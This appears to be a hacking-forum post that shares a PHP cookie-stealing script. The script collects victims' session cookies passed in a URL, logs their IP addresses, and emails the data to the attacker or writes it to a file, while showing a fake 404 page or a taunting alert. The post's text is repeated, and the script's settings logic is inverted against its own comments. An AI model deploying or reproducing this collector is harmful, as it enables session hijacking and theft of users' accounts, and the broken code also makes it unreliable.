03-28-2014, 09:54 AM
Name the file search.php. This will give the user the effect of a search page, like Google, but when it pops up, it will say 404 or a JavaScript alert saying you stole their cookies. It depends on your settings.
Send the target to
Hope you like my script, and if you used it, hope it was effective enough for you.
Warning / Disclaimer: I am not responsible for any legal trouble you get an. This is on your hands. This jacker was made for educational purposes, hence the code was commented.
PHP Code:
<?php
// Settings //
$doNotify = 'no'; // Either yes or no
$emailAddr = '[email protected]'; // Your email address
$fileName = 'log.txt'; // Name of the file that logs the cookies
$EmailOrLog = 'email'; // Log type, email or log
// End Settings //
$notification = "<script>alert('All your cookie are mine.')</script>"; // Notification to be displayed IF doNotify is set to 'yes'
$fakePage = "<html><head><h1>404 File Not Found</h1></head></html>"; // 404 Page if doNotify is set to 'no'
if($doNotify != 'yes') {echo $notification;}else{echo $fakePage;}
$cookies = htmlspecialchars($_GET["request"]); // Gets user cookies from URL
$ipaddr = $_SERVER["REMOTE_ADDR"]; // Gets user IP address
$message = "IP Address: ".$ipaddr."\n Cookies: ".$cookies;
if($EmailOrLog != 'email') {
mail($emailAddr,"Cookies",$message); // Mails cookie hijacker IF EmailOrLog is set to 'email'
}elseif($EmailOrLog != 'log'){
$oven = fopen($fileName, "a"); // Logs to file IF EmailOrLog is set to 'log'
fwrite($oven,$message);
fclose($oven);
}
?>
Send the target to
Hidden Content
Hope you like my script, and if you used it, hope it was effective enough for you.
Warning / Disclaimer: I am not responsible for any legal trouble you get an. This is on your hands. This jacker was made for educational purposes, hence the code was commented.